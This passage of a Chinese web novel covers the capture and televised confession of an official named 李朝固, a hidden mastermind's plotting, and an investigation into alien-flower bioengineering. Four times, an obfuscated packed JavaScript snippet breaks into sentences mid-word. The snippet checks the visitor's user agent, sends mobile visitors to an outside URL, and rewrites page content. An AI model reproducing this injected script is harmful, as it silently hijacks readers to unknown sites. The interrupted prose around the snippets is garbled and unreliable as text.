夜色掩饰着过路人的踪迹,月亮像是知道今夜不平静,索性不再出现,厚厚的云层上,成了它藏匿的最佳地点。 容贤潜行到仓库附近,没有贸然靠近,而是先找了一个隐蔽的高点观察。 十分钟后,她看到了光。 不是灯光,是通讯器屏幕的微光。一闪而过,但足够让她确定位置,七号仓库深处,靠近水面的那一侧。 她悄无声息地摸过去,绕到仓库背面,这里有一扇锈迹斑斑的小门,虚掩着,门缝里透出极其微弱的光。 容贤贴在门边,侧耳倾听。 “……船准备好了吗?”是李朝固的声音,谨慎带点神经质。 “好了,凌晨三点出发,走水路绕到八区,再从那边换身份走。”另一个陌生的声音。 “好,钱呢?” “已经转移了一部分,剩下的……” “剩下的不要了。”李朝固打断他,“命要紧。” 容贤不再犹豫,一脚踹开门,闪身而入。 里面有三个人,李朝固,一个瘦高的男人,还有一个蹲在角落里瑟瑟发抖的年轻船员,听到声音纷纷往声音来处看。 李朝固看到她,脸色骤变,下意识往后退,手伸向腰间。 容贤没给他掏枪的机会,身形一晃,瞬间逼近,一脚踢飞他刚摸出来的能量枪,同时左手扣住他的手腕,往下一压一拧,李朝固惨叫一声,整条胳膊被卸了下来。 瘦高男人想跑,被容贤抄起旁边的铁板砸中后脑,闷哼一声栽倒在地。 角落里的船员抱着头,抖得更厉害了。 容贤把李朝固按在地上,膝盖顶住他的后背,掏出手铐反铐上他的双手。整个过程不到二十秒。 李朝固趴在地上,喘着粗气,声音沙哑得几乎听不清:“你……你怎么知道……” “猜的。”容贤站起身,拍了拍手上的灰,“大概我的运气格外好。” 李朝固艰难地转过头,看着她的眼神里满是不甘和难以置信。 容贤没有看他,只是拿出手机,朝群里发了一条消息:“抓到李朝固,七号仓库,来接。” 消息发完,她靠着旁边的木箱,看向触手可及的水面,无风无浪。 “我老婆孩子什么都不知道。”李朝固忽然开口,声音虚弱,“你别动他们。” 容贤不语,她只是负责抓人,之后的事,另有人管,只是李朝固一人跑的这么干脆,现在和她说别动家人,到底在乎还是不在乎呢? 李朝固苦笑了一声:“也是,我凭什么求你们……” “没人会动他们。”容贤想了想还是决定回答,毕竟在失去反抗能力的人面前,她愿意多一点耐心,“前提是他们真的什么都不知道。” 李朝固愣住,看着她,嘴唇动了动,最终什么都没说出来。 远处传来悬浮车的引擎声,越来越近,容贤走到仓库门口,看着几辆车灯刺破夜色,向这边驶来。 身后,李朝固趴在地上,一动不动,月亮看完了戏,驱开了云层,月光倾泻而下,投过门缝打在了他身上,影子被拉得很长很长。 容贤没有回头。 她想起小孟的话,“他让我别告诉你太多,说你不完全可信。” 不完全可信。 李朝固到现在还是什么都没告诉她,只是自己跑。 那些人,那些棋子,那些尸体,那些被当作工具的底层人……在他们眼里,都只是数字,只是成本,只是用完就可以销毁的耗材。 所以小孟招了。 所以李朝固跑了。 所以,他们输了。 悬浮车在仓库门口停下,车门打开,车尔和几个清理部的人跳下来。 “人呢?”车尔问。 “里面。”容贤侧身让开,“两个,还有个小船员,应该只是雇的。” 车尔带人进去,很快把李朝固和那个瘦高男人押了出来,李朝固经过容贤身边时,脚步顿了一下,想说点什么,却被押送的人推着往前走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236498|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>容贤没有再看他,而是抬头看天,月亮很圆,很亮,千百年来,她一如既往,分明是个死星球,可承载了无数人类的爱与愁。 车尔走过来,递给她一瓶水:“干得漂亮。回去?” 容贤接过水,拧开喝了一口,点点头。 两人并肩走向悬浮车。 他们身后,七号仓库的轮廓在月光下越来越模糊,最终被夜色吞没。 远处,中心区的灯火依旧璀璨,曾经有个伟大的设计师称那里是永不熄没的银河。 * 李朝固什么都没有说,一切证据指向他,杀人者是他,异花种子的投放是他,买引导舆论的水军也是他。 他再不说点什么,他会成为本世纪的第一个公开死刑的罪犯。 藐视国家规定,轻视人民,影响到了全民对国家机关的感情,破坏了上下一条心的政策,他要付出的代价,就是接受全民审判。 直播的时间已经定了。 容贤着急的跑到赵随石面前,“明明还有疑点,他肯定不止做了这些事!他背后的人呢?还没问出来,为何这么着急?” 赵随石叹了口气,“容贤。” “嗯?” “你说得对。”赵随石揉了揉额头,“可到现在,没人可以从他口中问出背后之人是谁。” “可我们明明知道是……”她猛的住口,想到其中关键,脸色难看。 “看来你明白了。”赵随石无奈垂眉,一向一丝不苟的头发散了些。 他让她听听现在的民心,“看看吧,他们才是最想让李朝固死的人,真相吗?时间不等人啊,想要彻底查明李朝固身后的人,两三天可不够,他们愿意等会我们吗?” 李朝固是该死,他违背了自己曾经发过的入局宣言,但他不能现在就死。 可现在能指证赵止淮也参与此事的也只有他。 赵随石何尝不知道错过这次,赵止淮会藏的更深,只会更难抓到。 他驳回了取消清理部的提议,有很多人恨他,他如今再以疑点未明一力阻止结案,那就是与民心向背。 他曾经被驱除权力中心,想护的人护不得,想查的事查不得,如今,他不会轻易赌上一切去拖延直播的时间。 有弊无利,那真是天下最蠢的人才会去做。 “就没有办法了吗?” 容贤不甘心,“就差一步了。” 可这一步难于登天。 “我去问问卓蓝。” 容贤不死心,赵随石也没阻止她,有些事,只有自己碰了壁才会冷静下来。 卓蓝的态度比他想的还要果决,直接避开了容贤。 偶然聊天的陈丹都在给她发讯息,高兴李朝固死亡,这代表人民的胜利。 炼丹天才:「现在那些趾高气昂的顾客都不会故意找茬了呢!」 大容:「听起来不错。」 炼丹天才:「那还得多亏你和赵部长了。」 大容:「为什么是我们?」 炼丹天才:「异防局的人我又不是没见过,可只有你们才是好人啊!」 大容:「…也有好的其实……」「还有事,先忙去了。」—下线状态 好人吗? 真让人有压力啊。 26. 谜语人 直播在线人数百万+,还在往上涨,千万……亿! 会议室正放着转播,观看者赵随石,容贤,冷复几个旧部。 车尔擅长网络技术,这次直播很重要,于是被法院那边借去。他压力很大,不能有迟钝或者断线的意外。 杨理火是去现场看热闹了,按他的话说就是这样的热闹很少有,他必须得凑一凑。 赵随石知道他那损样是变不了的,知道他懂分寸,也没约束,就放他去了。 关注直播的人比想象中的还要多,禁止刷屏,所以屏幕还很干净,所有出场的人脸都清晰到毛孔。 容贤还有些庆幸卓蓝没有见自己,要是她不管不顾的说此案有疑,要拖延审判的时间,惹气众怒,那真是做蠢事了。 想是这样想的,可她还是失落,她分不清是懊恼,还是可惜。 投影里的李朝固。他正在回答审判长的问题,声音平稳,条理清晰,像在汇报工作。 “是,那些异花种子是我让人从十一区带进来的。来源?十一区靠近源河,总有办法弄到。具体渠道……我不想说。” 审判长敲了敲法槌:“李朝固,你现在的态度对量刑有直接影响。” 李朝固笑了一下,那笑容很淡:“我知道,但有些事,说了对谁都没好处。” 容贤心里一紧。她下意识看向赵随石,后者面无表情,只是盯着投影,双手叠十,放在翘起的腿上。 严回春看了半天说,“还真是便宜他了,他是赴死如归,一副正义凌然的样子,还真让人不爽。” 坐在他身边的女人慢悠悠道,“他的家人不知道他做的什么事,不知者无罪,他应该是听到家人没有事这才坦然面对。” 她叫向开颜,三十出头,黑长直,眉眼温和,是那批旧部里唯一的女性,异能是特级治愈,她说话总是慢条斯理,像什么都看透了。 “向开颜,我听你这话怎么就这么别扭呢?他家人怎么了?”严回春纳闷道。 向开颜白了他一眼,“我说的这么明显你还听不出来?就是他家人被保了呗,谁不知道他们家过的生活无处不精致,哪来的钱?一个科长可供不起他们家这么庞大的开销,你说他们不知道李朝固在干什么?可能吗?多长点心眼就能看出他赚的是什么钱了。” “可不是已经查过了吗?”严回春问出来就知道自己问到了蠢问题。 这怎么查,要查出什么,还不是上头一句话,他黑脸,狠狠拍了一下桌子,“靠!他们真是没脸没皮!****” 后面的话太脏,向开颜懒得听,往旁边挪了挪。 现在严回春看直播里的李朝固非常不顺眼。 容贤也是刚知道了他家人都平安无恙的事,惊了一下,赵止淮已经可以做到这个地步吗? “当然不是他。” 容贤听到赵随石的声音,这才知道自己问出了口,“那会是谁?” 赵随石拧眉,“能做到这个地步的屈指可数。我所知的也不过是三个人而已,但我还不确定是哪一个。”苦笑一声,“可以的话,真不希望是他们中的一个,这代表我们之后的日子会更艰难。” 至于为什么会针对他这种自怜的问题,他并不想知道,他只需要知道目标,并击败目标。 投影里,审判长继续发问:“李朝固,你承认杀害那七名受害者吗?” 李朝固沉默了几秒,然后点头:“承认。” “你承认在受害者体内植入异花种子,用以混淆视听、栽赃他人吗?” “承认。” “你承认买通水军,煽动舆论,攻击国家机关吗?” “承认。” 三个承认,干脆利落,像是在念别人的判决书。 审判席上传来轻微的骚动,旁听席上却安静得出奇。容贤透过投影,能看到杨理火坐在旁听席后排,姿势散漫,脸上却难得没有玩世不恭的表情。 审判长最后问:“李朝固,你还有什么要说的吗?” 李朝固抬起头,目光在法庭里扫了一圈,最后落在摄像头上。那一刻,容贤有种错觉,他在看自己。 “没什么好说的。”李朝固的声音很平静,“我做错了事,该付出代价。但我希望,这件事到此为止,一切都与他人无关。” 说完,他谦卑的低下头,“审判长,您可以宣判了。” 容贤盯着投影里那个低垂的脑袋,心里涌起一股说不清的滋味。 他一点都不可怜,他做了这天下最恶毒的事,他该受到惩罚。 那些底层人,此刻正躺在冰冷的停尸房里,等着被认领,等着被火化,等着变成一捧灰,然后被遗忘。 会议室里安静了几秒。 明明在场的所有人都知道他不是最后的罪魁祸首,可此案只能就此终结,就像上一次十六局局长全都揽了下来,关于异花的事只字未提。 与此同时,中心区某处。 投影里,李朝固的低头的画面定格了一秒,然后被切换成审判长的特写。 一只手伸过来,按下了暂停键。 “看完了?”一个声音问,懒洋洋的,听不出情绪。 “看完了。”另一个声音回答,恭敬而谨慎。 房间里光线很暗,只有投影的光在闪烁。两个人影坐在沙发上,面容隐在阴影里。 “李朝固倒是个聪明人。”那个懒洋洋的声音又说,“知道什么该说什么不该说。” “是。他家人那边……” “照旧,说了保,就保。这点信用,我们还是有的。” “那赵随石那边……” 一阵沉默。 投影的光在那人脸上明明灭灭,隐约能看见一个轮廓,年轻,冷峻,嘴角挂着一丝若有若无的笑。 “赵随石?”那人嗤笑一声,“他以为抓了李朝固就赢了?他以为驳回取消清理部的提案就稳了?天真。” 他站起身,走到窗边,拉开一点窗帘。外面的光漏进来,照亮了他的侧脸,是赵止淮。 “那个从十六区带来的丫头,倒是有点意思。”他忽然说,“能追到老船厂,能想到水路,脑子不笨。” 身后的人谨慎地问:“要不要……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250004|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不用。”赵止淮摆摆手,“现在动她,太明显。让她活着,让她查,让她以为自己离真相越来越近。”他顿了顿,将邪气的眼睛眯起来,“等她以为自己快抓到的时候,再让她知道,她碰的到底是什么。” 他转过身,看着投影里定格的画面。 “接下来的事,做得干净点。李朝固死了,这条线就断了,赵随石想查,让他查,查不到,是他无能,查到了,也摸不到我们。” “是。” “还有那些旧部,既然回来了,那就好好尽尽地主之谊,让他们中心区的生活‘多姿多彩’一点啊。”赵止淮的语气轻飘飘的,像在说一件无关紧要的事,“该欢迎的欢迎,该‘照顾’的照顾。别让他们太闲,闲了就容易多想。” “明白。” 赵止淮走到门口,忽然停下来,回头看了一眼投影,李朝固低垂的头,一个即将枯死的老树。 “告诉他们,”他说,“我们的游戏也才刚刚开始。” 门开了,又关上。 房间里只剩下投影的光,一闪一闪。 …… 会议室里,直播接近尾声。 审判长宣布休庭,择日宣判,所有人都知道,这个“择日”不过是走个形式。 李朝固的结局,已经定了。 容贤靠在椅背上,盯着暗下去的投影,脑子里还在想赵随石那句话,“能做到这个地步的屈指可数。” 那几个人,在想什么?他们为什么要让异花重新出现在人类居住区?他们不知道那东西有多危险吗?还是说,他们知道,但不在乎? 她想起福利院地下那些暗红色的培养舱,想起那些被当作“礼物”的孩子,想起那些死在街头、被当作工具的无名尸体。 有人在下一盘很大的棋,她,赵随石,冷复,还有那些刚回来的旧部,都成了棋盘上的棋子。 不只是他们,还有很多人,区别只在于,有的棋子知道自己是被操纵的,有的不知道。 她想成为知道的那一种。 今天的晚霞格外的红艳,这样壮丽奇异的天空很少见,容贤还没看过这样的天空,她痴痴的看了很久,那霞光染红了云层,而云层也在吞吃着霞光,一开始还不分上下,可后来,太阳似是看够了,跑到了云后面。 黑夜中的月亮成了新的主角。 赵随石说送她回去,她问:“这次你回宿舍睡?” “嗯。” “那好吧。” 他们并肩走在回去的路上。 赵随石轻声说:“我知道你很失望,我没有你想象的那么神通广大,我应该抱歉。” “可你不会抱歉,你就是这样,你明明什么都知道,你只是在等。”容贤不客气的掀开他试图平静地面具。 赵随石被哽住,“什么都知道么?”他很快恢复微笑,“我没想到在你眼里我这么厉害。容贤,耐心一点吧,你会看到你想看到的那天。” 容贤自己都不知道自己想看到什么,他怎么就如此笃定? 一个个的,怎么都是谜语人! 想揍。 27. 他说 联合调查组成立的通知,是在李朝固宣判当天下午下达的。 文件不长,措辞官方,但核心意思很明确:异警部与清理部组成专项行动组,彻查异花来源及去向,限期三个月提交阶段性报告。 签字的是指挥官本人。 赵随石桌子上一直放着那份文件,里面的内容几乎都可以背下来。 最后只说了一句话:“这次,他们压不住了。” 会议室里,冷复、何寻、向开颜、严回春都在。异警部那边派来的是卓蓝,以及她的副手豆焦。 卓蓝推门进来的时候,容贤第一眼注意到的是她的口红,正红色,鲜艳得像要烧起来。她穿着异警部的制服,扣子松了两颗,袖子挽到手肘,看起来不像来开会,倒像刚从哪个现场回来。 “都到了?”她扫了一眼屋里的人,目光在容贤身上停了一秒,“你来迟了。” “我很抱歉。”容贤点头。 卓蓝没再说什么,径直走到会议桌前,把一沓资料扔在桌上。 “废话不多说。”她开口,声音不高,但清晰有力,“李朝固虽然死了,但他的关系网还在。我们查了他的通讯记录、资金流水、来往人员,发现了一个有意思的名字。” 她把一张照片推出来。 容贤认出了那张脸,满头银发,笑容慈祥,穿着灰色的旧式西服,背后是福利院的大门。 余营营,喜山福利院前院长。 “余营营和李朝固有往来?”严回春皱眉,“喜山福利院案的时候,余营营不是已经把罪都扛了吗?当时查他的关系网,没牵扯到李朝固啊。” “那是因为当时没往这个方向查。”卓蓝看了他一眼,“余营营的案子结得太快,很多线索被压下去了。现在回头看,他和李朝固至少有三次接触记录,时间点都卡在关键节点上。” 她点了点桌上的资料:“第一次,是半年前,李朝固的账户有一笔不明来源的入账,金额不大,但备注里有个编号,和余营营经手的一批‘物资’编号吻合。第二次,是三个月前,余营营的通讯器曾短暂连接过一个加密信号塔,那个信号塔的覆盖范围,正好包括李朝固的一处私宅。第三次,就是喜山福利院案发前一周,有人看到余营营的车出现在李朝固常去的一家私人会所附近。” “交易内容呢?”冷复问。 “不知道。”卓蓝干脆地摇头,“他们的账面上没有直接往来,余营营那边已经被查封的账单里,也找不到和李朝固相关的条目。但可以确定的是,他们之间有联系,而且不是一次性的。” 向开颜慢悠悠地开口:“所以,余营营背后还有人,李朝固是其中一环。” “不止。”赵随石接过话,“余营营的异花是从哪儿来的?福利院地下那些培养设备是谁提供的?那些被当作‘礼物’送出去的孩子,最终去了哪里?这些问题,当时都没查清楚。” 他看向卓蓝:“所以这次,是要把源头挖出来。” 卓蓝点头:“源河。” 会议室里安静了一瞬。 源河。那条分隔人类居住区与异花禁区的防线,被视为末日后人类最伟大的防御工程。但如果异花能越过源河进入中心区,那就只有两种可能:防线出了问题,或者,有人故意把它们带进来。 “源河监狱。”冷复忽然开口。 所有人都看向他。 “源河监狱关押的罪犯,主要工作就是维修源河防线。”冷复的声音依旧沙哑,但条理清晰,“如果异花是从源河那边过来的,监狱里的人最有可能接触到。要么是有人从里面往外带,要么是有人从外面往里面送。” 卓蓝挑眉:“你对源河监狱很熟?” “不熟。”冷复简短地回答,“但十一区离源河近,听过一些传闻。” 赵随石站起身,走到窗边,背对着众人:“源河监狱,确实是关键节点。但那里的管理极其严格,外人进不去,里面的人也出不来。除非……” 他没说完,但所有人都知道他想说什么。 除非有人从内部接应。 容贤一直没说话,但听到“源河监狱”四个字时,她的手指微微收紧。 那里,是她出生、生活了十一年的地方。 她想起父母疲惫却温柔的眼睛,想起他们说的“好好活着”,想起那场改变一切的爆炸,想起她趁乱逃出来时的绝望和茫然。 还有楚南莫在飞机上说的那句话:“你父母的事,我知道一些。” 她不愿被人看出端详,和其他人一样,商量怎么能从源河监狱内部得到有关异花外逃的办法。 可她比在场的人都清楚源河监狱到底是什么模样,异花能流出来,那是必然,只不过她那时年纪尚小,还不知道自己在其中扮演着什么角色。 到最后散会时,容贤留到最后,和赵随石说:“我想去见一个人。” 赵随石回头看她。 “楚南莫。”容贤说,“奥基德研究院的那个研究员,他说他的研究方向是针对无害清理异花的,我觉得我们该了解一下现在的异花。” “异花现在以另一个姿态来到中心区,能不被人发现,看来,将异花引来的人,已经掌握了我们不知道的信息。” 能从这个角度看问题,赵随石心知楚南莫和她定是说了什么,正好,他也想见见这个楚南莫,同意了她的话,并说,“我和你一起去。” …… 奥基德生物研究院坐落在中心区东侧,也是异防局的隔壁,由于占地面积大,彼此之间的距离并不近,容贤乘坐赵随石的车进入了研究院大门。 研究院建筑风格冷白色为主,停车前后全程无人服务,AI甜美的播报声响起,“您已进入奥基德生物研究院中心,请根据实际情况选择您即将前去的路线……已为您规划好路线……” 下了车,容贤在门口做了登记,等了十分钟,他们才被一个穿着白大褂的年轻人领进去。 走廊很长,两侧是实验室,透过透明的玻璃能看到里面各种叫不出名字的仪器和穿着防护服走动的人,空气里弥漫着一股淡淡的消毒水味,混合着某种说不清的、类似植物的气息。 容贤把赵随石带来,是年轻人没有料到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260028|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,纠结一下说,“楚学长只说您会来……” 容贤没听出弦外之音,嗯了声。 赵随石笑了笑,“怎么,这里不欢迎我吗?” 年轻人对这个清理部部长并不陌生,也是自己得罪不起的人,他连连摆手,“当然不会。” “楚学长在三楼,您们直接上去就行。”年轻人带到电梯口,硬着头皮把两人都放了进去,心想楚学长不要怪他,他不敢拦。 电梯门打开,他们走了进去。 三楼更安静,走廊尽头有一扇半开的门,暖黄色的光从里面透出来,和整栋楼的冷白色调格格不入。 赵随石在容贤后面,漫不经心的想,能批给他单独一层楼,可想而知他的地位很高。 容贤敲门。 “进来。” 他们进门。 这是一间不大的办公室,陈设简单,但处处透着主人的用心,墙上挂着几幅植物手绘图,书架上摆满了各种语言的珍贵纸质书籍,窗台上养着几盆她从没见过的绿色植物,在中心区,这里的东西都是奢侈的。 楚南莫坐在靠窗的沙发上,手里拿着一本书,看到她和他进来,合上书,露出一个温和的笑容。 “你们好,请坐。”语气里没有意外,只有一种“果然如此”的笃定,“容贤,你带着赵部长前来,应该是遇到了很麻烦的事吧。” 赵随石点头,“清理部现在被推到风口浪尖上,楚研究员应该知道了我们的来意。” 容贤在他对面坐下,没有寒暄,开门见山:“我们想知道异花的情况。” 楚南莫轻笑,“清理部做事,为国为民,如果我能帮你们做什么,我当然会义不容辞,不过,在我回答之前,我想先问你们一个问题。” 容贤说,“你问。” “异花是什么?” 容贤不假思索道,“外星物种入侵,是引发世界末日的罪魁祸首,危险强大,有着迷惑人心的美丽。” 楚南莫看向赵随石,“赵部长觉得呢?” “需要被彻底清除的存在。”赵随石似非似笑,“这是我们书上的标准答案。看来楚研究员并不满意这个答案,那么在你眼里,它又是什么呢?” “它只是花而已。” 他没有多言,他点了点桌上报告,移到他们面前,“这是关于异化的最新研究,从开花到结果,他们的习性特征和在寄生人体前后运动方式,以及对人体的影响。内容比较多,需要耐心看,我接下来还有一个实验要做,就不奉陪了。” 他离开房间。 赵随石本就是为此而来,并不介意他离开。 容贤站起来,说自己要转一转。 “嗯。”她是去转一转还是干别的,赵随石心知肚明。 容贤单独找了楚南莫。 楚南莫像是知道她会出来,还没进入实验区。 见到人出来,他示意她跟上来。 “你知道我为什么来。”容贤肯定的说,她换上防护服,跟着他走进实验室。 实验室很快暗了下来,她看到了令人惊艳的一幕。 28. 应用学 幽暗的光下,有一朵雪白轻盈的兰花在静静的绽放。 不是外星入侵的异花,是曾经在地球上生活万年的花,原来带给世界的美是真实存在的,容贤看的入了神。 “之前我们有成熟的温室培植体系,但由于异花对环境破坏过于彻底,损失大量资源,所以缺乏很多元素,末日后,专家们积极恢复本来的体系,改善环境,功夫不负有心人,百花会再次回到我们的日常生活中。” 楚南莫边说边往前走,他从昏暗的墙上摁了一下,一个隔间突了出来,出现在眼前,他拿出一份档案袋放在她手上,“这是你母亲留下的。” 他没有抽回去,而是摁住档案袋,“但我建议你先别打开。” 容贤低头看着那个袋子,上面的字迹娟秀,像是出自女性之手。 “为什么?” 楚南莫没有直接回答,示意她继续跟着自己走,一道道的门打开,他们来到一间开着红灯的房间。 “异花和人类的关系不仅仅是你想的那样。” 容贤愣了一下:“什么?” “异花。”楚南莫重复了一遍,用很随意的口吻问她,“它的细胞结构、能量循环、繁殖方式、与人类意识的交互模式……这些,你知道吗?” 容贤摇头。 她只知道异花危险,知道它们会寄生、会模仿、会吞噬人类,但从没想过要了解它们的“构造”。 楚南莫满眼复杂,“天才的结构。这是当年研究异花的学者们给出的评价,它们的细胞可以无限分裂,能量循环几乎自洽,繁殖方式多样,还能与人类意识产生某种……共鸣。如果用在对的地方,这种结构可以用在人类生活的方方面面。” 容贤皱起眉:“你在说什么?” “我在说,异花不只有危险的一面。”楚南莫笑意加深,“现在大家怕异花,是因为没有彻底掌握它。但如果有一天,人类真的掌握了异花的秘密……” 他顿了顿,目光落在窗台上那些绿植上,声音变得遥远:“那会是一个全新的世界。” 容贤盯着他,试图从他脸上看出什么,可她失败了。 楚南莫真的只是在陈述一个客观事实。 “或许吧。”容贤追问,“已经有人在尝试用异花了吗?” 楚南莫没有回答,只是笑了笑:“你是聪明人,有些话,不用我说得太明白。” 容贤沉默了几秒,然后站起身,拿起那个档案袋。 “我会看的。”她说。 楚南莫点点头:“我相信你会。” 走到门口,容贤忽然停下,回头看他:“你为什么帮我?” 楚南莫对她的眼睛不闪不避,“嗯…大概是因为你母亲曾经帮过我吧。” …… 赵随石带着容贤离开奥基德研究院,准备回总局。 容贤说:“我想一个人下去走一走。” 自从她见完楚南莫,就一副魂不守舍的样子,赵随石也不问她为什么,就把她放到了路上。 “下午的会你就不用来了,调整好状态,明天向我报告。” “是。” 容贤走在街上,手里攥着那个档案袋,脑子里乱糟糟的。 楚南莫的话像一根刺,扎在她心里,怎么都拔不出来。 掌握异花?用在人类生活中?那不就是她在地下实验室看到的那些培养舱吗?那不就是喜山福利院里那些被当作“礼物”的孩子吗? 她站在路边,看着来来往往的人群,中心区的街道永远那么整洁,行人永远那么从容,仿佛末日从未发生过,仿佛异花只是历史书里的名词。 街角,一个清洁机器人正在打扫卫生。 它动作流畅,关节灵活,白色的外壳在阳光下反着光。容贤看了它一眼,忽然觉得有什么地方不对劲。 她盯着那个机器人看了几秒,终于发现哪里不对了,它的手不是机械手的形状,而是更像人类的手,五根手指,关节分明,甚至能看到皮肤纹理下隐约的血管纹路。 容贤愣住了。 就在这时,路边的大屏幕亮起,一个AI主持人用欢快的声音播报着新闻: “最新消息,新一代仿生机器人技术取得突破性进展!据奥基德生物研究院透露,基于新型生物材料的仿生机器人即将进入量产阶段,成本降低百分之四十,精细化程度提升百分之六十。专家预测,物美价廉的仿生时代已经来临……” 屏幕里,一个和真人几乎一模一样的机器人正在微笑,它的皮肤质感、眼神转动、甚至呼吸起伏,都和人类无异。 容贤盯着那个画面,耳边忽然响起楚南莫的话:“异花的结构是天才的,如果用在对的地方,可以用在人类生活的方方面面。” 她的目光落回那个清洁机器人身上。 那双手灵活的不可思议,不强调机器人的话,根本看不出来和人手的区别。 如果……她冒出一个大胆的想法。 如果仿生机器人的技术,用的是异花的细胞结构呢? 如果“掌握异花”,不是消灭它,而是把它变成工具呢? 如果那些“被收养”的孩子,不仅仅是被当成了花肥,而是被当成了……培养皿? 容贤站在原地,阳光很好,照得她睁不开眼。可她只觉得冷。 身后,清洁机器人继续打扫着街道,动作轻柔,悄无声息。远处的大屏幕还在播放仿生机器人的广告,落日乐队激扬的音乐飘荡在空气里。 如果她的猜想是真的,那他们要面对的,远不止一个李朝固,一个余营营。 而是一个用异花“造福人类”的世界。 容贤平躺在床上,对着天花板,一言不发。 她拿到了档案袋,可她并不开心。 她父母在源河监狱生下她,所经历的不过是和异花隔墙相望,看那些犯人用自己的血肉之躯填到那个裂开的缝隙中,直到爆炸声一声声响起,顿时天塌地陷,她的父母走进缝隙里,成了源河的一部分。 那场意外带走了她的父母,也让她逃离了那里。 她对异花的恨意已经随着时间的流逝埋的更深,她绝对不想看到由异花创造的世界。 当有一天,有人告诉她,你的父母本不应该是这样的结局。 所以,他们是无辜的吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269662|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 源河监狱关押的是罪大恶极的凶徒,末日刚结束的那几年,强大的异能者在各行各业稳定下来,制定了一系列利于异能者的政策,因为当时的异能者拯救了整个世界,还需要他们去重建社会。 也因此诞生了很多利用异花杀人的普通人,对社会不公的愤怒,对强者的强制措施心怀怨恨,促使他们走上对异花疯魔的道路。 人们认识到,异花必须要和人类社会分隔开,于是强硬派推出源河计划,源河监狱就是其中之一,一方面镇压那些试图用异花犯罪得人,一方面他们的身体可以成为填补源河缺口的材料。 再往后,只要是罪恶深重的,都会被投入源河监狱。 在容贤的记忆中,父母很少抱怨过去,沉默寡言,偶然会说几句听不懂的话,她也是后来才知道,那些话都是他们曾经引以为傲的实验报告内容。 档案袋里放着的是两个实验报告,其中一个是研究异花活性应用于人体可行性报告,一个则是论证实验体零号的异能融合强度可能性占比百风之一。 她看不懂,但那个应用于人体的几个字她看的清楚。 “万金。” 「我在。」 “查一下十九年前中心区发生了什么重要的大事?” 「好的,结果如下。」 有关那一年的词条不多,引起容贤注意的便是一家私人研究院失火,点开之后,只有救火的过程,没有起因和结果。 容贤把那一年网上记录的事件都打印下来,试图找到父母的痕迹。 一无所获。 到了第二天,她像往常一样训练,吃饭,然后到办公室开会。 她缺席了昨天下午的会,向开颜细心的发现她情绪不太对,关心道,“是太累了吗?” 容贤刚要摇头,砰的一声,吓了她一跳,坐在去远处的严回春拍桌,暴躁大喊,“上面什么意思!一直没有通过赵哥查源河监狱的申请!想歇过去?想得美!” 向开颜无语,一个白眼给过去,“你小声一点,大家都能听到。” “不是,你们都不着急?他们粉饰太平的功夫那叫一个炉火纯青,如果再拖一段时间,我们再想查,这什么也查不到了。”严回春没好气道。 向开颜冷下脸,“着急有什么用?这流程是必须要有的,你能逼他们吗?你是不是忘了我们之前吃的亏?还想再来一次,让他们安我们一个以权谋私的罪名?” 这话一出,严回春不吭声了,也是被之前集体针对伤到了。 他暂时不想过之前那种日子。 杨理火在椅子上转,停到容贤面前,“赵哥那边审批一直不下来,你有什么看法?” 容贤哪里有什么看法,她还纳闷了。 杨理火叹气,“也对,你大概还不知道那几个老家伙多难缠。” “已经可以了。”车尔刚收到赵随石的命令,打开了投影,是一个俯瞰图,他说,“审批已经过了,在潜入源河监狱期间,外面会有一支军队待命,一旦我们有需要,他们就会强行入监狱。” 容贤第一次以这个角度看源河监狱。 难怪可容纳人数上万,确实很大。 29. 握刀之人 赵随石开完了大会,就要回清理部,身后有人喊住了他。 他身高壮硕,面色红润,宽大的手拍了拍他的肩膀,“恭喜你。” 他就是异警部部长黎肃,四十三岁,明面上他和赵随石的关系一般,其实他们已经合作了几次。 赵随石看向周围,黎肃摆了摆手,“放心,没人会看到的,还有指挥官批下源河监狱那事,也只有我知道,你就把心放宽。” “你找我,大概也不只是恭喜我,说吧,有什么事?” 